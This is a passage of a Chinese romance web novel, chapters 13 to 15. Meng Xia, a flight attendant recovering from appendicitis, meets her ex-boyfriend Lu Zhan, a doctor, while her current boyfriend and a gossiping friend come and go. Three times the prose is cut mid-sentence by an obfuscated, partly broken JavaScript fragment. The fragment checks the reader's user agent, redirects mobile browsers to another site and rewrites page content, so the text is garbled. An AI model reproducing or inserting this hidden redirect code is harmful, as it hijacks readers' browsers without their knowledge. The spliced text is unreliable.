但他却没想过,孟夏如果真的跟他去了,会处在一种怎样尴尬的境地,无可避免地会成为那些本就对她有偏见的人私下议论、指指点点的谈资。 “那挺好啊,”孟夏面色平静,“两家人和和美美,相亲相爱,阿姨应该会很高兴。” 和祝炎枫这段恋爱的开始,明明正常又美好,不知从什么时候起,却越走越拧巴,以至于现在听到这几个名字,孟夏就觉得心烦,更别说让她去陪他上演什么“在棒打鸳鸯的婆婆面前强烈宣誓主权”的戏码。 更重要的是,她发现他们两个人好像越来越有些“鸡同鸭讲”,彼此在乎的事情,似乎永远不在一个层面上。 孟夏觉得,谈恋爱就是谈恋爱,即便将来真的能走到见家长、谈婚论嫁那一步,对方父母对她不满意,那也不是她该去解决的问题。 越想越烦,视线无意间扫过斜前方那个一直默不作声、几乎没什么存在感的男人身上,孟夏猛地一激灵,不由拧眉,这人怎么还没走? 不是听不出孟夏话里的冷嘲热讽,只是她为什么就不能为自己稍微妥协一下?看见孟夏脸上浮现的明显不耐和烦闷,碍于“家长”在场,祝炎枫只能努力压住心底那阵不断上涌的无名火。 病房一时间陷入静默,处理完工作的陆瞻收起手机,站起身,单手插兜,对孟夏示意既然有人照顾,那他先走了,孟夏不甚热情地“嗯”了一声。 陆瞻朝门口走去,经过祝炎枫身边时,他脚步微顿,视线扫了过去。 祝炎枫抬头,两人四目相接。 陆瞻面色如常,缓缓启唇: “一起抽根?” 13. 第13章 医院门口,陆瞻从口袋里摸出烟盒,抽出两支,递了一支给祝炎枫,随口一问:“打算见家长?” 病房不大,祝炎枫并不意外陆瞻听到了他和孟夏的对话,提到这个,他脸上显出几分无奈和苦恼,语气也有些丧气,“夏夏她...不是很愿意,她跟我母亲之间.....有点误会。” “你们俩,”陆瞻抖了抖夹在指尖的烟灰,“多久了?” “认识快两年,在一起一年多。”祝炎枫以为对方是关心妹妹的感情状况,回答得很认真,也很坦诚。 “倒是没怎么听她跟家里提过。”陆瞻侧过头,“怎么认识的?” “有一次飞京市,我坐的那趟航班正好是她当值,就这么认识了。”提起初遇,祝炎枫语气轻快了些,随即又郑重地看向陆瞻,保证道,“哥你放心,我对孟夏是认真的。” 陆瞻“嗯”了一声,指尖的烟已经燃了小半截,烟灰簌簌往下掉,他却毫不在意,“喊名字就行,不用叫哥。” “那怎么行,孟夏的哥哥当然就是我的哥哥。” 陆瞻没再就这个话题多说,他将那支一口没吸的烟,在旁边的灭烟柱上缓缓捻熄,抬手拍了拍祝炎枫的肩膀:“行了,进去吧。” 顿了顿,又补充了句,“散散味道。” 闻不了烟味儿这个习惯是孟夏从小就有的,林微澜对烟味极其敏感,一闻到就胸闷恶心,所以父亲孟征从孟夏记事起就没碰过烟,家里也从没飘进过一丝烟味。 孟夏在这样的环境里长大,对那股呛人的气味自然也格外排斥。 这一点,祝炎枫也知道,他跟陆瞻摆摆手,示意自己会在门口多待一会儿,吹吹风,等味道散尽了再回病房。 此刻,躺在病床上的孟夏有点如坐针毡,她不知道陆瞻为什么要把祝炎枫单独叫出去,更想不出他们两人之间有什么可聊的。 等祝炎枫回来时,孟夏仔细观察他的神色,见他一切如常,看不出任何异样,心里的疑惑就更深了,却又不知该如何开口询问。最后索性摆烂,懒得再去深究到底怎么回事。 没多久,病房里又住进来一位新病人,原本还算宽敞的双人间,顿时显得有些逼仄。 孟夏现在已经能基本自理,再加上有王姨在,便打发祝炎枫回去休息,不用一直在这里陪着。 陆瞻拉开车门坐进驾驶座,没有发动车子,他降下车窗,手肘搭在窗沿上,闭着眼,用拇指和食指用力捏了捏眉心。 大约一小时后,一道熟悉的男性身影从住院大楼走了出来。 陆瞻拿起手边的矿泉水瓶,拧开喝了两口,然后推开车门,再次下车。 到底是年轻,身体底子好,孟夏术后恢复得不错,自己起身、慢慢走去洗手间,已经可以不用人搭手。 隔壁病床的病人还在睡着,家属坐在床边打盹,病房里很安静。 孟夏侧头:“王姨,我现在没什么需要照顾的,夜里不用人守着的,你也忙了一天了,回去歇着吧,明早再来就行。” 王姨连忙摆手,绕过床尾,拖过椅子在孟夏床边坐下,“那可不行,小孟,我是你哥请来专门照顾你的,拿了钱,就得尽到本分。万一你夜里渴了,想上厕所,身边没人哪行?” “真没事,床头就有呼叫铃,我要是有不舒服的地方,一按护士就来了,你在这儿也是干耗着,还不如回去歇歇。”孟夏半靠在床头,亮眼的发丝披散在枕头上。 王姨其实早上刚来时还有点忐忑,见孟夏留着一头粉金色的长发,模样又精致,心里暗忖这姑娘怕是不好伺候。 可这一天相处下来,她那份担忧早就消散。孟夏性格和善,一点架子都没有,不仅不难伺候,反而格外有礼貌,不像有些雇主,总觉得护工低人一等,时不时颐指气使。 王姨见孟夏态度坚持,犹豫了好一会儿,双手在膝盖上蹭了蹭,支吾着开口:“小孟,不瞒你说......刚才我出去打水,看见隔壁病房的家属正急得团团转呢,他们家老爷子刚做完大手术,夜里疼得厉害,儿女又没时间,正急着找夜间陪床的护工。我想着......要是你这边真不用守着,我能不能......把隔壁的活也一起应下来?两边跑跑,我保证,绝对不耽误你这边的事儿!” 孟夏明天再观察一天,没什么问题就能出院了。白天闲聊时,她也多少知道点王姨家里的情况,儿子前两年外出打工出了意外,落下病根,每个月都要定期做康复治疗,花销不小,老伴走得早,没留下什么值钱东西,家里就靠她一个人做护工挣钱撑着。 “当然行,”孟夏几乎没有犹豫,立刻点头,“你赶紧过去吧,别让人家等急了,我这儿真没什么事,你去忙。” 王姨神情愉悦,连忙起身给她掖了掖被角,又顺手把床头柜上的水杯续满热水。 刚关上房门,抬眼就撞上站在门口的陆瞻。 - 自分手以来,除了前几天在晏城医院那短暂又尴尬的医患接触,孟夏已经很久没有像现在这样,单独和陆瞻待在同一个空间里,如此近距离地四目相对。 她的工作性质特殊,航班排期紧凑,很少有在传统节假日正常休息的机会,尤其是春节。 相比之下,陆瞻这“半个儿子”,似乎比她做得更到位。医生的工作同样忙碌,但他总能隔三差五地抽出时间,去林微澜和孟征面前露个脸,陪着说说话,帮着处理些家里的大小事情。 每次和林微澜通电话,不管孟夏愿不愿意听,总能或多或少地听到些关于陆瞻的近况: “你陆瞻哥最近好像又瘦了点,前段时间帮同事连值了好几个夜班,肯定没休息好。” “家里厨房水管有点漏水,还好你陆瞻哥当时在,不然我和你爸可要手忙脚乱了。” “不是说好了今年过年能调休回来吗?怎么又变卦了?你陆瞻哥还特意把除夕那天的班调开了,我说要多做几个菜,你们俩好久没一起在家吃年夜饭了......” 孟夏每次不想听这些,却又不忍心打断,连她自己都搞不明白,这究竟是一种什么样的心理。 隔壁床还没醒来,家属大概是坐累了,轻手轻脚出了门,房间里只剩下旁边病床床头监护仪滴答滴答的声音。 陆瞻上午参加会议时穿的是一身剪裁合体的正装,刚才和祝炎枫出去“抽完烟”后,他去车里换了一件灰蓝色的毛衫,质地柔软。 孟夏看着一步步走近的人,没有移开视线。 这是两人分开三年多,孟夏第一次这样认真打量他。 他从前就不是张扬外露的性格,身上自带一种超越年龄的内敛与沉稳,如今时隔三年再见,这份成熟似乎沉淀得更深了。 身形比记忆里更加挺拔修长,下颌线的轮廓也越发清晰利落。 孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203000|197273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏静静看了片刻,才转开头,躺久了有点累,她小心翼翼地挪动了一下身体,换个姿势。 陆瞻注意到她的小动作,走到床侧,“不舒服?要不要扶你起来活动活动?” 他个子高,恰好挡住了上方的暖灯,一片浅淡的阴影缓缓落下来,轻轻笼罩住孟夏。 随着他的靠近,一股清冽干净的气息漫了过来,混着点淡淡的皂角香,孟夏觉得有点像她常买的柠檬味舒肤佳的味道,比刚才祝炎枫身上那若有似无的烟草味好了不知道多少倍。 她没追问陆瞻为什么去而又返,闻言扬了下眉,静静地跟他对视,“微信为什么不回我?你撤回了什么东西?” 这次,换陆瞻居高临下地看着她,一米八七的身高带来天然压迫感,在狭小的病床前尤为明显。 似乎是想到什么,怕他误会,孟夏又急忙补充,“是林老师让我问的,她怕你有想法不好意思跟她直说。” “这样,”陆瞻睨了她一眼,点点头,“那回头我自己跟老师解释。” 切,孟夏耸耸鼻尖,不说就不说,谁稀罕管。 她轻轻哼了声:“你刚喊祝炎枫出去干什么?你跟他有什么好聊的?” 陆瞻在床边的椅子上坐定,余光瞥见隔壁床病人搭在床边的外套快滑到地上,他顺手帮忙往中间拢了拢,放好,然后转回身,看向孟夏:“你朋友没告诉你?” 孟夏讨厌他云淡风轻的反问模样,故意轻嗤一声:“你不知道一个合格的前任就应该跟死了一样吗?” “前任?”陆瞻眯起眼,“你好像不是这么跟你朋友介绍的吧?我记得我的角色,是哥哥。” 孟夏被他这话噎得一口气堵在胸口,打定主意再也不搭理他一句。 林微澜打来视频电话,她不敢接,自己突发阑尾炎并住院的事,孟夏潜意识里不打算告知父母。 自打毕业离开晏城后,她和所有外出打拼漂泊的孩子一样,都养成了报喜不报忧的习惯。 不一样的是,她并非单纯害怕父母担心,更多的,是潜意识里害怕给了父母机会,让他们说出那句:“看吧,让你当初不听我们的安排。” 犹豫半天,孟夏按下挂断键,没多久,林母的电话又打了过来。 孟夏跟陆瞻晃了下手机,接通的同时提前示意请他保持安静。 “夏夏,怎么没接视频?不是已经辞职了吗?不方便?” 孟夏干笑两声,“妈,我在外面和别人吃饭呢,不太方便。” 林微澜闻言表示理解,长话短说告诉孟夏打算让孟征这两天来江城接她,“你爸说的对,小陆是医生,医院工作忙,平时休息时间不多,这点小事还是别麻烦人家了。” 孟夏瞥了眼陆瞻,又低头看了眼穿着病号服的自己,抿了抿唇,“让爸别折腾了,我就坐陆瞻....哥的车回去,不麻烦的,他是正好来江城开会的。” “真的?你们联系过了?” “嗯,联系过了。”孟夏怕林微澜不信,真的派孟征杀过来,那可就全露馅了,于是心一横,又补了一句,“其实......我现在就是和陆瞻哥一起呢,不信的话,您跟他说。” 自己解决不了的麻烦,最好的方式就是转移给能解决的人。 说完,不等陆瞻反应,孟夏抬手,扯了下他的衣角,然后二话不说,直接把还在通话中的手机塞进了他手里。 14. 第14章 “不麻烦,真的是顺路的事。” “您放心。” “好。” 陆瞻寥寥数语,语气沉稳笃定,很快安抚住了电话那头的林微澜。 手机递回给孟夏时,林微澜又嘱咐了几句,让她别忘了带些江城特产回去,尤其是江城酥饼,有名气,孟夏的奶奶爱吃,网上买的和店里现做的总归有些区别。 挂了电话,陆瞻视线停留在孟夏脸上,问:“怎么辞职了?” 话锋转的猝不及防,孟夏愣了一瞬,有些不想让他知道自己工作上的糟心事,不自在地别过头,“辞职能有什么特别的原因?不想干了呗,累了。” “回晏城,是长久打算还是是暂时过渡?” “谁知道呢。” “嗯。”陆瞻言简意赅,“其实,晏城这几年....发展得不错,各方面条件,不比江城差,你可以考虑....” 孟夏抬起头打断他,“干嘛?不会是两位老师给你下任务了吧?让你劝我留在晏城考公或者继续考研?” 她的学历,一直是孟征心里隐隐的遗憾,身边的同事、朋友家的孩子,大多都是重点本科,再不济也出国镀了层金。 原本指望她大四能考研,从挂靠学院考到晏大本部,谁知她先斩后奏,自作主张接受了江航的录用通知,连考场都没踏进去。 陆瞻看出她微微转冷的神色,有些无奈:“都没有。” 孟夏继续呛声:“你不是来开会的吗?怎么那么闲?” “现在是晚上九点。” “晚上九点不能开会?我晚上九点经常还没下班。” “嗯,”陆瞻点点头,语气认真,“那还是你比较辛苦。” 这句话不知怎么,一下子戳中了孟夏的笑点,她越笑越止不住,牵扯到腹部的伤口,传来隐隐的痛感。 刚才的一瞬间让人忽然有种恍若隔世的错觉,以前和陆瞻在一起的时候,好像也是这样,如果她心情不好,或者单纯想找茬,就会无缘无故在言语上刺激他、挑他的刺。 而陆瞻,从来不会表现出任何不满或恼怒,照单全收,句句回应,偏偏还总是一副一本正经、认真探讨的模样,常常让她觉得又好气又好笑。 陆瞻不知道孟夏为什么好端端的突然笑起来,但总好过刚才微冷的气氛,他目不转睛的看着她的笑颜,也不由自主地也勾起了嘴角。 许是一个姿势真的太久,笑到一半的孟夏突然眉头一皱,下意识蜷了蜷脚趾。 陆瞻察觉到她的异样,“怎么了?” “小腿..好像抽筋了。”孟夏倒吸一口凉气。 “左腿右腿?” “右腿。” 陆瞻没多犹豫,走到床尾,半蹲下来,掀开盖在她脚上的薄被一角,快速握住她抽筋的脚踝,往回掰了掰,另一只手轻轻揉捏,力度精准。 “好点吗?” 陌生又熟悉的触碰让孟夏浑身都透着股不自在,指尖无意识地抓紧床单,偏偏此时腹部有伤的她却又没法拒绝这份帮助,直到小腿上的酸胀感渐渐消散,她不自在地动了动,“好了,没事了。” 陆瞻很快松开手,直起身,顺手将薄被重新盖好。 九点二十分,管床护士提醒家属探视时间已过,要是陪床的话需要到护士站进行登记,陆瞻朝对方点点头,“好,就来。” 孟夏皱眉,“你不走?” 陆瞻睨她:“护工难道不是被你大方地让了出去?” “我不需要陪床。” “嗯,”陆瞻没和她争辩,“再抽筋你自己能解决。” 说完便抬脚,跟着护士走了出去。 “......” 孟夏躺在床上,睁着眼睛盯着天花板,半点睡意都无,床尾长椅上的人应该是困极了,就这么双臂交叠呼吸平稳地睡着了。 她稍稍抬高了一点上半身,视线落在那个睡着的人身上。走廊里透进来的微弱灯光,勾勒出他侧脸的轮廓,线条在昏暗的光线下显得分外柔和。 枕头下的手机嗡嗡震动两下,孟夏回过神来,伸手摸出,解锁屏幕,是好友曾佳怡发来的信息。 曾佳怡:[差点忘了问,你公司投诉那事处理得怎么样了?我这几天忙得脚不沾地,今天总算告一段落能喘口气。] 孟夏指尖在屏幕上快速敲击,把这两天发生的事情,长话短说地编辑成一大段文字,发了过去。 信息发出去没多久,手机就开始连续震动。 曾佳怡:[what?!] 曾佳怡:[前任现任激情见面、和平共处?] 曾佳怡:[所以说,现在陆瞻睡在你旁边?陪床??] 曾佳怡:[老爷爷地铁看手机震惊脸.jpg] 曾佳怡是当年孟夏和陆瞻那段恋情的见证人,更准确地说,算是个小小的“推动者”,按她自己的话来说,要是这两人最后真成了,她可是要坐主桌的。 不过,她倒是不清楚孟夏当年和陆瞻分手的原因是什么,只知道当时的孟夏很狼狈,冒着大雨在晏大医学院男生宿舍楼下等了一晚上,也没能成功见到陆瞻。 孟夏看着屏幕上接连跳出的信息,指尖动了动,回了一个简短的:[嗯。] 曾佳怡:[啧啧啧,我要是不找你聊天,差点就错过这么一出好戏!快,把医院地址和病房号发来!等着姐明天奔赴吃瓜前线!(不是。] 孟夏这才想起来,曾佳怡最近正好在江城出差,反正自己在医院躺着也无聊,有个人过来说说话也好,她没犹豫,直接把定位发了过去。 - 第二天早上,孟夏醒来时,床尾长椅上已经空无一人。 王姨正好拿了早餐进来,见她睁眼,“小孟醒啦?” 孟夏目光在病房里扫了一圈,没看到那道熟悉的身影,心里暗忖,他应该是已经离开了。 王姨大约看出了她的心思,主动提起:“你哥前脚刚走没多久,说是下午再过来看你,他走的时候你还睡着,就没吵醒你。” 半上午,忙完公司事情的祝炎枫赶到医院陪孟夏呆了一会儿又要匆匆离去,他的小公司主做新能源,新产品上线在即,最近资金链却出了点问题,下午约了一位重要的投资人面谈。 “我晚点再来,有事给我发消息?”祝炎枫伸出手,在愣神的孟夏面前晃了晃。 “不用,你忙你的。”孟夏抬眼,“医生刚不是说了我这恢复挺好,明天就能出院了,你不用一趟一趟跑。” 祝炎枫的公司在城西,离医院有点距离,孟夏知道他对这个公司倾注了不少心血,关键时刻自己帮不上忙,但也不想给他徒增麻烦。 祝炎枫感叹孟夏的体贴,刚谈恋爱那会儿,他觉得这正是孟夏吸引他的优点之一,独立,不黏人,懂得体谅。可时间久了,心里偶尔又会冒出些别样的滋味。 太体贴,太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210650|197273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懂事,有时难免让人觉得,她是不是没有那么在乎?祝炎枫自嘲地想,男人的劣根性大概就是这样,既要又要,怎么都不完全满意。 “那明天我来接你出院,你等我。”祝炎枫摩挲着她的手背。 “嗯。”孟夏欣然接受,“你快走吧。” 曾佳怡来的风风火火,手里大包小包提了不少东西,孟夏瞧见倒吸一口凉气,“你绝对是故意的曾佳怡!” “啊?这些不都是你爱吃的吗?”曾佳怡一头雾水。 “哪个刚做完阑尾炎手术的人能吃这些?”孟夏扶额长叹。 “没事,”曾佳怡瞥了眼隔壁暂时空着的病床,看见上面放着一个黄色的玩偶抱枕,“分一半给你邻居,留一半你出院时带走,这不就解决了。” “你确定?隔壁的奶奶刚切掉半个胃,怕是不好消化吧。” “我以为是个小朋友呢,”曾佳怡傻笑,把三大袋零食放在床头柜上,“诶?陆瞻呢?还有祝炎枫呢?怎么一个都没见着?” 孟夏无语,“你到底是来看我的,还是来看他们的?难道不应该第一时间关心关心我这个可怜的病人吗?” 曾佳怡忍不住笑了笑:“我看你面色红润,精神头十足,还能跟我计较、找我茬,哪儿用得着多余关心啊?状态不要太好哦!” 两人相视,忍不住一起笑了起来。 曾佳怡小心地扶着孟夏,慢慢走到病房外的走廊溜达,呼吸一下新鲜空气。 “你今天休息?” “拉磨的驴也得喘口气吧,”曾佳怡撇了撇嘴,“审计这行真是没法干了,我跟你说,等忙完手上这个项目,我非得好好琢磨琢磨,换个行当干干。” “真的假的?”孟夏挑眉。 “真的,”曾佳怡叹了口气,“我们公司这两年效益不行,已经裁了两波人了,听说这个项目结束,年前可能还要裁一波......小道消息,这次的名单里估计有我,我也想好了,等拿到赔偿金,我就不干了。再不换行,我怕我熬不到春节就得猝死。” “呸呸呸,”孟夏轻轻拍了她一下,“童言无忌,快呸掉!” 曾佳怡配合地“呸”了两声,然后看向孟夏,“你呢?辞职回晏城,有什么打算?先歇一阵,然后再杀回江城?” 孟夏敛起笑容:“不知道。” 晏城这几年发展的确不错,但那里没有航空公司的驻地,如果她以后长久地留在晏城,大概率是没机会再干回老本行的,虽然她自己也不想再干这个。 可是,空乘这几年的工作经验,对她找其他工作说实话也没有太大裨益,人们常说这行就是“高级一点的服务员”,话糙理不糙,脱离了本行业,那点经历实在没什么加成。 曾佳怡看着好友脸上浮现的迷茫,伸手拍了拍她的后背,“害,别想那么多了!船到桥头自然直,先回去好好歇一阵再说,实在不行,到时候咱姐俩凑一起,琢磨琢磨合伙干点什么呗!” 闲聊间,两人慢慢走到了住院部廊道尽头的小花园,曾佳怡挽着孟夏,在角落一处树荫下的长椅上坐下,环顾四周,三三两两地坐着些出来晒太阳、透气的病人和家属。 今日天气不错,冬日暖阳晒的人浑身舒坦,曾佳怡靠在椅背上,眯着眼享受了片刻这难得的悠闲,突然想到自己此次前来的主要目的,精神陡然一振。 她刚想开口,听见一道声音: “陆瞻,这儿!” 15. 第15章 同样听见那声招呼的,还有孟夏。 曾佳怡胳膊肘轻轻撞了她一下,朝她右手边努了努嘴,一副看好戏的眼神,“我这还没说曹操呢曹操就到了,那人谁啊?咱俩要不要过去打个招呼?” 孟夏顺着她示意的方向侧头瞥了一眼,想到陆瞻是来江城开会的,“应该是同事吧,他来江城出差的。” 曾佳怡扬扬眉,没再多问,却把食指竖在嘴唇中间,做了个“嘘”的手势,然后身体微微侧倾,竖起耳朵。 “......怎么样?参观完了?”章军怀见陆瞻走过来,脸上露出笑容,“江城的医院到底规模大,设备也新,跟咱们晏城比,确实有不少可学习借鉴的地方。” 今天交流会的行程安排是参观江城市人民医院的各个重点科室和先进诊疗区,乳腺外科的参观环节刚结束,章军怀嫌人多拥挤,便提前到这个小花园来躲个清净。 “嗯,结束了。” “明晚有空吗?”章军怀喝了口保温杯里的茶,“没安排的话,一起吃个饭。” “您有事安排?” 章军怀也不藏着掖着,轻笑出声,说上次聚餐时提到要给他介绍对象的事不是场面话,自己的外甥女是晏城医保局的,这次和他们一样也在江城出差,择日不如撞日,明晚大家一起吃个饭。 嚯!吃瓜前线果然有瓜! 曾佳怡一脸兴奋,八卦之魂熊熊燃烧,甚至按捺不住好奇心,想站起身朝那边张望得更清楚些,被孟夏眼疾手快地一把拉了回来,重新按坐在长椅上。 “相亲诶!”曾佳怡激动地凑到孟夏耳边,用气声说,“陆瞻竟然开始相亲了?不过也是,他今年也该有二十八了吧,年纪是到了,毕竟男人的花期短。” 说完,她为了听得更清楚,干脆起身换到孟夏的右侧坐下,离那两人更近了一些。 可能是刚才和孟夏说话分了心,漏听了关键部分,等她重新竖起耳朵,只听到章军怀语气颇为满意地说:“......那就这么说定了啊!回头我把餐厅地址和时间发你微信上。” 说完,章军怀起身,拍了拍陆瞻的肩膀,心满意足地走了。 “靠!”曾佳怡不自觉地提高了些音量,随即又赶紧捂住嘴,“精彩部分错过了!不过......陆瞻竟然答应去相亲了?你之前不是说,阿姨要给他介绍对象,他给拒了吗?” “男人心,海底针,谁知道他怎么想的。”孟夏嘴上这么说着,心里却不受控制地冒出个念头:看来林微澜猜得没错,陆瞻的心思没准确实不好意思跟她直说。 出差就出差,还能抽空安排相亲,行程挺满。 孟夏和曾佳怡在长椅上继续坐着,等了大概十分钟,看到不远处的陆瞻终于也起身离开,两人才不约而同地长舒了一口气。 “再等下去我都快憋不住了,”曾佳怡急着上厕所,松开孟夏,“你慢慢走,我先跑一步。” 晚饭时间,王姨问孟夏想吃什么,又说要不要给曾佳怡带份快餐上来,还没等两人回答,陆瞻拎着饭盒径自推门进来。 曾佳怡是典型的口嗨王者,背后吃瓜津津有味,分析得头头是道,但真到了正主面前,那是一点也不敢造次的。 尤其是她一直对陆瞻有些天然的畏惧,这个只比她和孟夏大三岁的男人,板着脸不笑的时候,压迫感十足。 陆瞻认识曾佳怡,孟夏十年如一日的好闺蜜,他冲人点点头,“一起吃点?” “不用了,我减肥,晚上不吃东西。” 他把饭盒放在桌子上,“来江城出差?” “对,听说夏夏住院了,我赶紧过来吃..”“吃瓜”两个字差点脱口而出,她舌头紧急转弯,“我赶紧过来看看。” “住的酒店远吗?”陆瞻状似随意地问,“用不用送你?” 这句话在曾佳怡耳朵里就有些变了味儿,总觉得对方像是在提点她时间不早了,闲杂人等该散了。 识时务者为俊杰,瓜可以改日再吃,命必须今日保住。 曾佳怡立刻戏精上身,像模像样地拿起手机,放到耳边,“喂?啊?领导!数据错了?哪部分?......好的好的,我明白了!您别急,我马上回酒店修改!保证不耽误!” 说完她放下手机,一脸遗憾,转身握住孟夏的手,还摸了摸她的脸:“夏夏,人在江湖,身不由己!老板急召,我得先走了,你好好休息,我们保持联系!” “唔...”夏看着她这一系列行云流水的表演,努力憋着笑,含糊地应了一声。 曾佳怡拍拍她的肩膀,随即转身面向陆瞻,“不用送!不用送!你们快吃饭吧,我还有点急事,就先走了!” 陆瞻微微颔首,“路上注意安全。” “好的好的。”曾佳怡不经大脑地又添一句,“也祝你相亲顺利。” - 孟夏低着头,有些心虚地接过陆瞻递过来的蔬菜粥,拿起勺子轻轻搅动散热。 “她怕我?”陆瞻坐下。 “谁?”孟夏抬眼,随即反应过来,“噢,你说佳怡啊。” “你要是不笑的话,板着个脸,谁不怕你?” 陆瞻眉眼生得周正,不笑时眉峰微微压着,薄唇抿紧,透着股严肃劲儿。 可偏偏他笑起来的时候,右侧嘴角会露出一颗小虎牙,尖尖的,又平添一些阳光的少年气。 “那你怎么不怕我?”陆瞻清了清嗓子。 “啊?”孟夏没跟上他的脑回路,“什么?” “我说,偷听可不是个好习惯。” 孟夏耸了一下肩膀,“谁让你们说话声音太大,公共场合,要注意降低音量,避免打扰他人,懂不懂?” 勺子搅动幅度太大,碗里的粥溅出两滴,陆瞻拿出两张抽纸递了过去,“嗯,你说的有道理,我的问题。” 孟夏尝了一口粥,这两天没正经吃过什么东西,全靠米汤和一点流食吊着,她觉得自己快要“羽化登仙”,决心等会儿一定要去护士站旁边的体重秤上量一下,自己至少瘦了两三斤。 迫不及待地喝下小半碗,胃里终于有了点实实在在的东西,缓过劲儿来,她才皱着眉,挑剔,“差点意思,没我奶奶做的好喝。” 孟夏的奶奶梁夙,在晏城大学门口开了家小小的粥铺,到现在已经十多年了,店面不大,胜在干净卫生,孟夏和陆瞻当初上学的时候,没少在里面蹭吃蹭喝。 “嗯,”陆瞻点头,“味道比梁记是差点,回去了一起去喝。” 这话说的自然,仿佛中间隔着的三年两人并没有断联。 孟夏脑海里没由来地冒出一个说法,都说,能和平共处、甚至像朋友一样往来的前任,无非两种情况:要么是早就彻底放下,对过往没有执念,要么是从未真正爱过,所以能没有任何心理负担地把对方当作普通朋友。 孟夏觉得,自己哪种都不符合,第一,她不觉得自己彻底放下了,至少对于被甩这件事,她心里始终憋着一股气,第二,她不承认自己从未真正爱过。 那,陆瞻呢?他属于哪一种? -

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217524|197273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晚上,陆瞻没有像前一天那样留下陪床,隔壁床老人的家属格外孝顺,一儿一女都争着抢着要陪夜,小小的双人间里硬是又支起了两张折叠床,显得更加拥挤。 孟夏身体已经基本没有大碍,医生说观察一夜,第二天早上办完手续就能出院。 陆瞻见状,便没再坚持留下,探视时间一到,他跟孟夏打了声招呼,离开医院。 第二天,医生查完房,确认一切正常,孟夏按照护士的叮嘱,楼上楼下跑了两趟,把出院手续办妥了,完事后在护士站旁边的休息凳上等人。 祝炎枫一小时前给她发了条微信,说在来的路上,孟夏又看了眼手机上的时间,想着今天路上看来有点堵。 陆瞻早上八点和章军怀一同参加了专家讲座,讲座考勤,要本人签到,他只好先去会场打了个卡,期间给孟夏交代让她等自己到了再办手续。 等他紧赶慢赶到医院的时候,正好看见孟夏独自一人从医院大楼出来。 “不是让你等着吗?”陆瞻快步上前。 左等右等,祝炎枫十分钟前给她打电话道歉:“对不起啊夏夏,昨天的投资商突然说要到公司参观,已经到楼下了,我..” 知道他事出有因,但孟夏心里那口气还是堵得慌,上不去下不来。 这会儿看见陆瞻一来就用质问的语气说她,孟夏憋了一上午的烦闷和火气“噌”地一下冒了上来,她梗着脖子,“等等等,有什么好等的?我自己有手有脚,办个出院手续都办不了吗?” “怎么了?”陆瞻伸手拉住她的胳膊,放缓了声音解释,“今天的会议临时通知必须本人签到,不是故意让你等这么久。” “......” “哦。”孟夏吃软不吃硬。 本来这火也不该冲着他发,听见陆瞻刻意放软的声音,她心里的气焰顿时消了大半,反而有些不好意思起来,双手局促,想掏出手机转移一下注意力。 这一摸口袋,孟夏脑袋一嗡,挣开陆瞻的手往回走。 陆瞻手一紧,“去哪儿?” “手机好像落在楼上了。” “我去帮你拿。”陆瞻不由分说,取出车钥匙放在她手里,“F区146,你先去车里呆着。” 刚发完无名火的孟夏不好拒绝,拿着钥匙,老老实实往停车场去。 陆瞻的车是一年前买的,孟夏去年国庆假期坐过一回。 当时她和同事临时换了班,想偷偷回晏城给林微澜一个生日惊喜,谁知道打的那辆跨城顺风车,司机因为高速费的问题跟她发生争执,居然把她扔在高速路口不管了。 晚上不好打车,孟夏无奈,只好放弃“惊喜计划”,打电话向老孟求助。谁知道最后等来的,是开着她梦中情车的陆瞻。 人比人,气死人。有句话怎么说来着?不怕前任过得苦,就怕前任开路虎,孟夏只记得自己当时坐在副驾驶上的心情五味杂陈,连情车都没好好体验。 走到停车场,手指转着车钥匙的孟夏,心里还在盘算着等会儿上车,一定要先好好感受一下这车的内饰和座椅。 正想着,就瞥见前方不远处,一个七八岁模样的小男孩,手里拿着块小石子,正偷偷摸摸地在陆瞻的黑车侧面,做着什么小动作。 孟夏心里一紧,意识到什么,脸上的笑容瞬间敛去,快步朝那边走去。 在看见主驾车门上那道显而易见的划痕后,孟夏的好心情迅速消失,她忿忿起身,对着心虚想跑的男孩儿喝了声: “站住!”